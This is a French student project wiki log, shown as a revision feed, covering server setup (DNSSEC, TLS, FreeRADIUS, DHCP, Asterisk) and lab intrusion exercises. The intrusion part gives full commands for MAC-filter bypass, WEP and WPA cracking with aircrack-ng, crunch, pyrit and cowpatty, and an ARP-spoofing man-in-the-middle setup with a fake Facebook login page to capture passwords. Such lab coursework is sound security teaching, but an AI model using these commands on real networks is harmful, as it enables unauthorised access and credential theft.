 $TTL    60480&lt;br /&gt;
 &lt;br /&gt;
 @       IN      SOA     ns.delirium.lol. root.delirium.lol. (&lt;br /&gt;
                    2016011706         ; '''Serial'''&lt;br /&gt;
                         86400         ; Refresh&lt;br /&gt;
                          3600         ; Retry&lt;br /&gt;
                       2419200         ; Expire&lt;br /&gt;
                         86400 )       ; Negative Cache TTL&lt;br /&gt;
 &lt;br /&gt;
 '''$include /etc/bind/delirium.lol.dnssec/delirium.lol-ksk.key'''&lt;br /&gt;
 '''$include /etc/bind/delirium.lol.dnssec/delirium.lol-zsk.key'''&lt;br /&gt;
 &lt;br /&gt;
 @       IN      NS      ns.delirium.lol.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns      IN      A       193.48.57.170&lt;br /&gt;
 www     IN      A       193.48.57.170&lt;br /&gt;
 god     IN      A       193.48.57.170&lt;br /&gt;
 @       IN      A       193.48.57.170&lt;br /&gt;
&lt;br /&gt;
Ainsi que notre fichier de reverse DNS /etc/bind/zones/57.48.193in-addr.arpa :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 &lt;br /&gt;
 @       IN       SOA     ns.delirium.lol. root.delirium.lol.     (&lt;br /&gt;
       2016011706       ;serial&lt;br /&gt;
       14400            ;refresh&lt;br /&gt;
       3600             ;retry&lt;br /&gt;
       604800           ;expire&lt;br /&gt;
       10800            ;minimum&lt;br /&gt;
 )&lt;br /&gt;
 &lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns.delirium.lol.&lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.&lt;br /&gt;
 &lt;br /&gt;
 170               IN      PTR     delirium.lol.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier resolv.conf, nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi :&lt;br /&gt;
&lt;br /&gt;
 search delirium.lol&amp;lt;br&amp;gt;nameserver 193.48.57.170&amp;lt;br&amp;gt;nameserver 217.70.177.40&lt;br /&gt;
&lt;br /&gt;
On se place dans le dossier '''/etc/bind/''', puis on signe les enregistrements de la zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o delirium.lol -k delirium.lol.dnssec/delirium.lol-ksk zones/delirium.lol.db delirium.lol.dnssec/delirium.lol-zsk&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier '''named.conf.local''' de manière à utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;delirium.lol&amp;quot; {&amp;lt;br&amp;gt;type master;&amp;lt;br&amp;gt;file &amp;quot;/etc/bind/zones/'''delirium.lol.db.signed'''&amp;quot;;&amp;lt;br&amp;gt;allow-transfer { 217.70.177.40; };&amp;lt;br&amp;gt;notify yes;&amp;lt;br&amp;gt;};&lt;br /&gt;
&lt;br /&gt;
Une fois ces opérations effectuées nous avons redémarré notre serveur DNS :&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/bind9 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste plus qu'à communiquer la partie publique de la KSK et de la ZSK (présentes dans les fichiers delirium.lol-ksk.key delirium.lol-zsk.key) à notre registrar sur '''gandi.net''' dans la section &amp;quot;gérer DNSSEC&amp;quot;. &amp;lt;br&amp;gt; Nous avons alors pu tester la sécurisation de notre DNS et nous avons constaté que [https://www.zonemaster.fr/test/568225ff6498323f cela fonctionne bien].&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation du site par certificat ===&lt;br /&gt;
&lt;br /&gt;
La première étape a été de générer les fichiers delirium.lol.csr et delirium.lol.key avec la commande :&lt;br /&gt;
&lt;br /&gt;
 openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol'&lt;br /&gt;
&lt;br /&gt;
Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat intermédiaire GandiStandardSSLCA2.pem sur le site gandi.net. Une fois tous les certificats récupérés sur notre serveur, nous avons pu commencer la sécurisation d'Apache.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à Apache d'écouter les connexions sur le port 443 utilisé par le https. Nous avons ensuite copié les certificats .crt et .pem dans le dossier /etc/ssl/certs/ et la clé .key dans /etc/ssl/private/.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite rehash la structure à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 c_rehash /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pu créer un site dédié /etc/apache2/sites-available/000-delirium.lol-ssl  et nous l'avons configuré pour qu'il utilise les certificats précédemment obtenus. Nous avons alors activé le site sécurisé avec la commande :&lt;br /&gt;
&lt;br /&gt;
 a2ensite 000-domain.tld-ssl&lt;br /&gt;
&lt;br /&gt;
On a alors redémarré Apache pour que ces configurations soient prises en compte. Nous avons alors pu constater que nous accédions bien à notre site à l'adresse [https://delirium.lol https://delirium.lol]&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation Wifi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de faire en sorte que l'accès à la borne Wifi soit controlé par WPA2-EAP, en utilisant le serveur '''Freeradius'''.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous commençons d'abord par configurer notre serveur Freeradius de la manière suivante :&amp;lt;br&amp;gt;&lt;br /&gt;
'''Fichier eap.conf'''&amp;lt;br&amp;gt;&lt;br /&gt;
Ajout de &lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Fichier clients.conf'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Ajout de &amp;lt;br&amp;gt;&lt;br /&gt;
 client 10.10.10.2 {&lt;br /&gt;
        # secret and password are mapped through the &amp;quot;secrets&amp;quot; file.&lt;br /&gt;
        secret      = ****&lt;br /&gt;
        shortname   = cl2&lt;br /&gt;
       # the following three fields are optional, but may be used by&lt;br /&gt;
       # checkrad.pl for simultaneous usage checks&lt;br /&gt;
        nastype     = livingston&lt;br /&gt;
        login       = root&lt;br /&gt;
        password    = ****&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 client 10.10.10.1 {&lt;br /&gt;
        # secret and password are mapped through the &amp;quot;secrets&amp;quot; file.&lt;br /&gt;
        secret      = ****&lt;br /&gt;
        shortname   = cl1&lt;br /&gt;
       # the following three fields are optional, but may be used by&lt;br /&gt;
       # checkrad.pl for simultaneous usage checks&lt;br /&gt;
        nastype     = livingston&lt;br /&gt;
        login       = root&lt;br /&gt;
        password    = ****&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
=== Configuration du serveur Freeradius en DHCP ===&lt;br /&gt;
&lt;br /&gt;
Nous avons souhaité nous connecter à notre SSID via notre smartphone. Or, il est préférable d'établir une connexion en DHCP. C'est pourquoi nous allons configurer Freeradius pour autoriser les connections DHCP.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous commençons par installer '''isc-dhcp-server'''&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On modifie ensuite le fichier '''/etc/dhcp/dhcpd.conf''' :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On va assigner aléatoirement une adresse IP en suivant ces instructions :&lt;br /&gt;
 subnet 172.20.20.0 netmask 255.255.255.0 {&lt;br /&gt;
 range 172.20.20.10 172.20.20.100;&lt;br /&gt;
 range 172.20.20.150 172.20.20.200;&lt;br /&gt;
 }&lt;br /&gt;
 subnet 172.20.20.0 netmask 255.255.255.0 {&lt;br /&gt;
  range dynamic-bootp 172.20.20.100 172.20.20.200;&lt;br /&gt;
  option broadcast-address 172.20.20.254;&lt;br /&gt;
  option routers 172.20.20.2;&lt;br /&gt;
 }&lt;br /&gt;
On modifie également :&lt;br /&gt;
 option domain-name &amp;quot;delirium.lol&amp;quot;;&lt;br /&gt;
 option domain-name-servers 193.48.57.48;&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous avons réalisé ces configurations directement sur la VM, il a fallu finalement écrire dans '''/etc/dhcp/dhcp.conf''' :&lt;br /&gt;
 shared-network local {&lt;br /&gt;
 subnet 193.48.57.160 netmask 255.255.255.240 {&lt;br /&gt;
 }&lt;br /&gt;
 subnet 172.20.20.0 netmask 255.255.255.0 {&lt;br /&gt;
  range dynamic-bootp 172.20.20.100 172.20.20.200;&lt;br /&gt;
  option broadcast-address 172.20.20.254;&lt;br /&gt;
  option routers 172.20.20.0;&lt;br /&gt;
 }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Nous rebootons le serveur avec les commandes&lt;br /&gt;
 $ /etc/init.d/isc-dhcp-server stop&lt;br /&gt;
 $ /etc/init.d/isc-dhcp-server start&lt;br /&gt;
&lt;br /&gt;
La sortie est :&lt;br /&gt;
 [ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Reste ensuite à configurer le routeur situé à l'adresse 10.10.10.252 :&lt;br /&gt;
&lt;br /&gt;
Une fois connecté dessus, dans la config du vlan 20 (notre vlan), on entre la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
 Router(config-if)# ip helper-address 10.1.1.1 redundancy vrg1&lt;br /&gt;
&lt;br /&gt;
Nous parvenons à présent à nous connecter sur notre AP '''ssid_Delirium''', mais sans accès internet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un PCBX ===&lt;br /&gt;
&lt;br /&gt;
On a dans un premier temps installé le logiciel Asterisk sur un ordi perso que nous avons ensuite connecté à notre réseau wifi &amp;quot;SSID_Delirium&amp;quot;. On a alors modifié le fichier /etc/asterisk/sip.conf pour y ajouter la configuration suivante  :&lt;br /&gt;
&lt;br /&gt;
 [general]&lt;br /&gt;
 hasvoicemail = yes&lt;br /&gt;
 hassip = yes&lt;br /&gt;
 hasiax = yes&lt;br /&gt;
 callwaiting = yes&lt;br /&gt;
 threewaycalling = yes&lt;br /&gt;
 callwaitingcallerid = yes&lt;br /&gt;
 transfer = yes&lt;br /&gt;
 canpark = yes&lt;br /&gt;
 cancallforward = yes&lt;br /&gt;
 callreturn = yes&lt;br /&gt;
 callgroup = 1&lt;br /&gt;
 pickupgroup = 1&lt;br /&gt;
 nat = yes&lt;br /&gt;
 &lt;br /&gt;
 [1001]&lt;br /&gt;
 type=peer&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname = mrcoincoin&lt;br /&gt;
 username = mrcoincoin&lt;br /&gt;
 secret = canard&lt;br /&gt;
 context = work&lt;br /&gt;
 &lt;br /&gt;
 [1002]&lt;br /&gt;
 type=peer&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname = mrmiaou&lt;br /&gt;
 username = mrmiaou&lt;br /&gt;
 secret = chat&lt;br /&gt;
 context = work&lt;br /&gt;
&lt;br /&gt;
On a ensuite ajouté dans le fichier /etc/asterisk/extensions.conf les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 [work]&lt;br /&gt;
 exten =&amp;gt; _1XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
 exten =&amp;gt; _1XXX,2,Hangup()&lt;br /&gt;
&lt;br /&gt;
On télécharge alors l'application CSipSimple pour Android, puis nous connectons les deux téléphones à notre réseau wifi. On configure alors les comptes utilisateur sur chaque téléphone, et on y ajoute l'adresse IP de notre serveur asterisk (ici un PC perso). On a alors réussi à établir une communication VoIP fonctionnelle sur les téléphones.&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cryptage de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons dans un premier temps récupéré une carte SD et nous l'avons formatté au format FAT32 à l'aide de gparted. Notre carte est donc /dev/mmcblk0p et nous avons donné le nom &amp;quot;tamerlashov&amp;quot; à la partition crée. Nous pouvons alors créer une partition cryptée grâce à la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk0p1&lt;br /&gt;
&lt;br /&gt;
Elle est donc encrypté AES SHA-256. Si on le souhaite, on peut afficher ses informations avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksDump /dev/mmcblk0p1&lt;br /&gt;
&lt;br /&gt;
On ouvre ensuite notre partition encryptée en tappant :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksOpen /dev/mmcblk0p1 tamerlashov&lt;br /&gt;
&lt;br /&gt;
On ajoute alors un système de fichiers à notre partition encryptée avec :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext3 /dev/mapper/tamerlashov&lt;br /&gt;
&lt;br /&gt;
Une fois cette opération effectuée, il est possible de monter la partition pour pouvoir écrire dedans, et de la démonter lorsque tous nos fichier ont été copiés.&lt;br /&gt;
&lt;br /&gt;
 mount -t ext3 /dev/mapper/tamerlashov /mnt/&lt;br /&gt;
 ...&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
&lt;br /&gt;
Pour la ré-encrypter, on utilise alors la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksClose tamerlashov&lt;br /&gt;
&lt;br /&gt;
Si on veut par la suite accéder au contenu de la carte, il faudra la désencrypter puis la monter, et si on souhaite la re-sécuriser il faudra la ré-encrypter après l'avoir démontée.&lt;br /&gt;
&lt;br /&gt;
=== Changement d'adresse MAC ===&lt;br /&gt;
&lt;br /&gt;
L'objectif de cette partie est de réussir à se connecter au réseau wifi nommé '''&amp;quot;baguette&amp;quot;'''. Ce réseau n'a pas de mot de passe mais est protégé grâce à un filtrage d'adresse MAC.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons dans un premier temps essayé de nous connecter directement. On a alors constaté que la connexion était refusée. Pour arriver à nous connecter, nous avons alors changé l'adresse MAC de notre carte WiFi avec ces commandes :&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan3 down&amp;lt;br&amp;gt;ifconfig wlan3 hw ether 00:15:af:e7:19:f3&amp;lt;br&amp;gt;ifconfig wlan3 up&lt;br /&gt;
&lt;br /&gt;
Une fois l'adresse changée nous avons pu nous connecter facilement au réseau.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clé WEP ===&lt;br /&gt;
&lt;br /&gt;
L'objectif de cette partie est d'arriver à se connecter à un réseau wifi protégé par une clé WEP. Nous avons choisi d'attaquer le réseau '''&amp;quot;levrette&amp;quot;'''. Dans un premier temps nous avons téléchargé et installé le paquetage '''aircrack-ng'''. Nous avons ensuite branché une clé wifi en usb sur l'ordinateur et nous avons passé cette clé en mode monitoring avec la commande&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan3&lt;br /&gt;
&lt;br /&gt;
Cela nous a permis de pouvoir regarder tout le trafic réseau et les points d'accès aux alentours à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan3&lt;br /&gt;
&lt;br /&gt;
Une fois notre réseau repéré, nous avons fait en sorte de n'observer que lui avec :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng -w out -c 6 --bssid 00:40:F4:95:27:55 wlan3&lt;br /&gt;
&lt;br /&gt;
*L'option -w permet de préciser que les paquets récupérés seront stockés dans un fichier nommé out&lt;br /&gt;
*L'option -c permet de préciser que le canal du réseau est le 6&lt;br /&gt;
*L'option --bssid nous permet d'observer que le réseau wifi donc l'adresse mac est 00:40:F4:95:27:55&lt;br /&gt;
&lt;br /&gt;
On a alors démarré aireplay-ng de manière à faire une fake authentification sur le réseau wifi :&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -1 30 -a 00:40:F4:95:27:55 --ignore-negative-one wlan3&lt;br /&gt;
&lt;br /&gt;
Cela permet d'associer notre carte WiFi au point d'accès. Si tout se passe correctement on devrait avoir ce message :&lt;br /&gt;
&lt;br /&gt;
 Sending Authentication Request (Open System) [ACK]&amp;lt;br&amp;gt;Authentication successful&amp;lt;br&amp;gt;Sending Association Request [ACK]&amp;lt;br&amp;gt;Association successful :-) (AID: 1)&lt;br /&gt;
&lt;br /&gt;
On peut alors commencer l'injection d'ARP avec la commande :&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -3 -x 600 -b 00:40:F4:95:27:55 --ignore-negative-one wlan3&lt;br /&gt;
&lt;br /&gt;
Cette commande permet d'injecter jusqu'à 600 paquets ARP par seconde au point d'accès (option -x 600). Comme nous avions précédemment récupéré le trafic sur le réseau à l'aide d'airodump-ng, tous les paquets sont stockés dans les fichiers out.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer aircrack-ng de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng out-01.cap&lt;br /&gt;
&lt;br /&gt;
Suivant le nombre de paquets reçus, l'attaque a plus ou moins de chances de réussir. Dans notre cas l'attaque a réussi à partir de 20000IVs.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:success.png]]&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clé WPA ===&lt;br /&gt;
&lt;br /&gt;
==== Méthode n°1 ====&lt;br /&gt;
&lt;br /&gt;
L'objectif de cette partie est de craquer une clé d'un réseau wifi protégé en WPA2. Nous allons donc attaquer le réseau &amp;quot;cracotte10&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons passé la carte wifi d'un EeePC en mode monitoring avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite relevé l'adresse MAC du réseau que nous voulions attaquer pour faire en sorte de ne monitorer que lui, et écrire le résultat de l'attaque dans un fichier avec l'option -w. Nous avons ensuite lancé une désauthentification avec la commande :&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 5 -a 04:DA:D2:9C:50:59 -c 00:0F:B5:92:24:51 mon0&lt;br /&gt;
&lt;br /&gt;
Le client connecté va alors être déconnecté et va tenter de se ré-authentifier automatiquement. L'attaque aireplay-ng permet donc de récupérer le handshake lors de la reconnexion. Nous avons alors transféré les fichiers générés sur une zabeth où nous avions préalablement installé aircrack-ng.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L'étape finale est alors de bruteforce le mot de passe. Dans un premier temps nous avons généré un dictionnaire de mot de passe à l'aide de crunch :&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Ce dictionnaire comporte tous les mots de passe de 8 caractères contenant uniquement des chiffres. Nous avons ensuite lancé l'attaque sur le fichier .cap en prenant comme paramètre le dictionnaire que nous avons généré.&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng *.cap -w dico.txt&lt;br /&gt;
&lt;br /&gt;
Au bout de 57 minutes le bruteforce a enfin aboutit et nous avons trouvé le mot de passe qui est : 12399910&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA.png]]&lt;br /&gt;
&lt;br /&gt;
==== Méthode n°2 ====&lt;br /&gt;
&lt;br /&gt;
Nous avons récupéré un fichier .cap, cette fois ci du réseau cracotte01, de la même manière que pour la méthode 1. Cependant, pour accélérer le crack, nous avons utilisé un PC personnel ayant une carte graphique Nvidia (GTX 970m) et équipé du logiciel pyrit, cowpatty ainsi que des outils Nvidia CUDA. Pyrit, utilisant ces outils, permet d'utiliser la carte graphique de l'odinateur en plus du processeur pour générer les hashs du dictionnaire contenant les mots de passe. Cowpatty est quand à lui un logiciel permettant de craquer des clés WPA, mais qui contrairement à aircrack-ng peut prendre des hashs en entrée plutot qu'un dictionnaire en texte clair.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pipe le dictionnaire dans pyrit qui dirigait les hash directement en entrée de cowpatty et attendu que le crack de déroule :&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 0123456789 | optirun pyrit -e cracotte01 -i - -o - passthrough | cowpatty -d - -s cracotte01 -r *.cap&lt;br /&gt;
&lt;br /&gt;
Au bout de 242s nous avons alors trouvé la clé WPA du réseau.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:crack_wpa.png]]&lt;br /&gt;
&lt;br /&gt;
Grâce à l'utilisation de la carte graphique, cette méthode est beaucoup plus rapide!&lt;br /&gt;
&lt;br /&gt;
=== Attaque MITM ===&lt;br /&gt;
&lt;br /&gt;
Le principe est le suivant :&lt;br /&gt;
&lt;br /&gt;
Le hackeur vas rediriger le traffic de la victime vers son propre proxy. Cela lui permettra d'intercepter les requêtes vers fr-fr.facebook.com pour les rediriger vers sa propre page &amp;quot;facebook&amp;quot;. Cette page sera modifiée de manière à envoyer les données rentrée par la victime non pas en https, mais en http. Cela permet ainsi de pouvoir voir les login et mots de passe en clair. Toutes les autres pages seront juste redirigées de manière transparente pour que la victime ne se doute pas de l'attaque.&lt;br /&gt;
&lt;br /&gt;
La première étape est d'installer et configurer Squid3, le proxy que nous allons utiliser. Nous le configurons le fichier /etc/squid3/squid.conf de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 acl allowedips src 192.168.1.0/24              # ip ou range d'ip à attaquer&lt;br /&gt;
 http_access allow allowedips&lt;br /&gt;
 forwarded_for off                              # Masque notre ip dans le header HTTP&lt;br /&gt;
 http_access deny all                           # Empeche les personnes extérieures d'accéder à notre proxy&lt;br /&gt;
 cache_access_log /var/log/squid3/access.log&lt;br /&gt;
 cache_log /var/log/squid3/cache.log&lt;br /&gt;
 cache_store_log /var/log/squid3/store.log&lt;br /&gt;
 cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
 cache_mem 16 MB&lt;br /&gt;
 maximum_object_size 15 MB&lt;br /&gt;
 http_port 3129 transparent                     # Pour rendre le proxy transparent&lt;br /&gt;
 cache_effective_group root&lt;br /&gt;
 url_rewrite_program /usr/bin/squidGuard        # Intégration de SquidGuard&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite squidGuard, qui nous permettra de créer des règles de redirections plus fines. En l'occurence rediriger seulement les requêtes vers la page fr-fr.facebook.com. Nous le configurons de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 dbhome /usr/local/squidGuard/db&lt;br /&gt;
 logdir /usr/local/squidGuard/logs&lt;br /&gt;
 &lt;br /&gt;
 dest fb-login {&lt;br /&gt;
    urllist facebook/url&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Cela nous permet de rediriger les pages contenues dans le fichier /usr/local/squidGuard/db/facebook/url (ici, fr-fr.facebook.com) vers notre serveur local. On s'occupe alors de générer la base de donnée de squidGuard, puis de lancer squid3 :&lt;br /&gt;
&lt;br /&gt;
 squidGuard -C all &lt;br /&gt;
 service squid3 start&lt;br /&gt;
&lt;br /&gt;
Si on veut vérifier qu'il n'y a pas d'erreurs on peut vérifier les logs :&lt;br /&gt;
&lt;br /&gt;
 cat /usr/local/squidGuard/logs/squidGuard.log&lt;br /&gt;
&lt;br /&gt;
Il faut alors configurer les iptables pour gérer la redirection du trafic :&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward                                                # Autorise le forwarding ipv4&lt;br /&gt;
 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP                                      # Bloque les ICMP 5 envoyés à notre serveur (permet de dissimuler sa présence)&lt;br /&gt;
 iptables -t nat -A PREROUTING -s &amp;lt;ip du serveur squid3&amp;gt; -p tcp --dport 80 -j ACCEPT   # Accepter le trafic entrant sur le serveur Squid3 vers le port 80 sans le rediriger&lt;br /&gt;
 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129            # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3129 de Squid3&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j MASQUERADE                                          # Remplace l'ip de la cible avec notre propre ip&lt;br /&gt;
 iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP                          # Bloque le trafic direct vers le port du serveur Squid3&lt;br /&gt;
&lt;br /&gt;
Une fois ces règles mises en place, on peut spoofer la table ARP de notre victime avec la commande :&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i &amp;lt;eth0 -t &amp;lt;ip de la cible&amp;gt; &amp;lt;ip du gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
arpspoof permet alors de faire en sorte que le traffic sortant de la victime passe par notre ordinateur plutôt que par le gateway. On le laisse tourner pendant tout le temps de l'attaque, c'est à dire jusqu'à ce qu'on ait récupéré l'identifiant et mot de passe de la cible.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cependant pour que la victime ne remarque rien, il faut faire en sorte de récupérer la page d'accueil facebook pour la mettre sur notre serveur apache2. On se positionne donc dans le dossier /var/www/html/ et on exécute la commande suivante pour récupérer la page d'accueil :&lt;br /&gt;
&lt;br /&gt;
 wget http://fr-fr.facebook.com/&lt;br /&gt;
&lt;br /&gt;
Une fois cette page récupérée, on modifie alors l'adresse de la requête envoyée pour le login de manière à ce qu'elle soit envoyée non pas en https, mais en http. Cependant après avoir essayé cette méthode on s'aperçoit qu'un script en javascript fait en sorte que la requête se fasse en https malgré qu'on ait changé l'adresse. Il faut alors procéder différement pour arriver à notre fin.&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_groupe_n%C2%B010&amp;diff=24995</id>
		<title>Cahier groupe n°10</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_groupe_n%C2%B010&amp;diff=24995"/>
				<updated>2016-01-17T16:13:14Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Sécurisation par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Le but du Projet de Réseau et Administration (PRA) est dans un premier temps de réaliser une tâche particulière différente pour chaque groupe, puis dans un deuxième temps de traiter une partie commune. Notre tâche consiste à mettre en place un &amp;quot;atelier&amp;quot; permettant d'essayer de craquer des réseaux wifi.&lt;br /&gt;
&lt;br /&gt;
== Crack Wifi ==&lt;br /&gt;
&lt;br /&gt;
=== Objectif ===&lt;br /&gt;
&lt;br /&gt;
Le but de cette tâche est d'installer dans un premier temps Debian sur un ordinateur portable dont l'écran ne s'allume plus, puis dans un deuxième temps de le configurer de manière à pouvoir brancher 8 cartes wifi en USB et les connecter à des SSID différents diffusés par une borne.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation ===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons fait des recherches pour savoir quelles méthodes on pouvait utiliser pour installer un PC sans avoir besoin de l'écran, et les deux principales sont :&lt;br /&gt;
&lt;br /&gt;
* Sortir le disque dur du PC portable et le mettre sur une Zabeth, installer Debian sur ce disque, puis le remettre dans l'ordinateur&lt;br /&gt;
* Pré-seed une ISO de Debian&lt;br /&gt;
&lt;br /&gt;
Après avoir ouvert l'ordinateur portable, on s'est aperçu que le disque était en réalité un SSD conecté en mSATA. Comme nous ne disposons pas d'adaptateur mSATA vers SATA et que les cartes mères des Zabteh n'ont pas de ports adaptés, nous n'avons pas pu procéder de cette manière. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique dédiée nous espérions que le chipset intégré prenne le relais et ainsi récupérer l'affichage. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous sommes alors aperçu que le chipset Intel intégré prenait bien le relais. Nous avons alors remonté l'ordinateur et ainsi pu procéder à l'installation de Debian Jessie.&lt;br /&gt;
&lt;br /&gt;
==== Installation d'une nouvelle carte graphique ====&lt;br /&gt;
&lt;br /&gt;
Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique.&amp;lt;br&amp;gt;&lt;br /&gt;
